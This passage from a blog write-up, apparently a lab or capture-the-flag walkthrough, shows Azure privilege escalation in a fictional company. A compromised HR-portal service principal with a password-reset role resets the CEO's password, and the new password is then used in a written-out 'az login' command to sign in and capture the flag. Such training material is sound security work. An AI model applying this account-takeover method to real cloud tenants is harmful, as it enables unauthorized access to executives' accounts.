somewhat privileged</p><p>Next we need to find out what role permissions have been defined in this administrative unit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/848/1*Vnt8I7wHrltweAqnfwrlBw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/838/1*xpjyIz3KaabWu_b8BAhBZQ.png" /></figure><p>We see that our compromised service principal megabigtech-hr-portal has been assigned a role. Let’s resolve the role ID to a display name and description</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/740/1*_kzSGlRdQaeuq5hXfFlAFA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*MXHG_YLaxUPdEEXEfdac4A.png" /></figure><p>That looks like a fun role to have access to</p><p>It’s very common for IT Helpdesk and user management software to have permissions to reset user passwords. In this case it seems that the password for the Mega Big Tech executive can only be reset through the HR system, perhaps as an additional security measure.</p><p>Seeing as we are now the HR system, we could reset the password for the CEO and access the keys to the (business) kingdom.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_RJCsun2U_Et4SU3QCX27A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/264/1*fJ52iUJSZEyLnEGcDFe7aw.png" /></figure><p>No errors returned should mean that the password was successfully changed</p><p>Lets try to log in with the Az login</p><p>az login -u seline.diaz@megabigtech.com -p EFHvcrsdyjD643HCErtwehgxcrJHX!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*9qnaUoE8EbfMJdrPgTeilw.png" /></figure><p>Success!</p><p>Sign in with the CEO at portal.azure.com</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O059vnf6d5bdZPi9wn-72Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/643/1*jfHg2HXSBvr0NxqLjRbz8w.png" /></figure><p>One of these looks like a flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/994/1*rn_dCO83WqW1HEZFBHfS6g.png" /></figure><p>Flag!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/1*W1nmoj6PqPB8_yXt7EijiA.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=37b211a21cf7" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>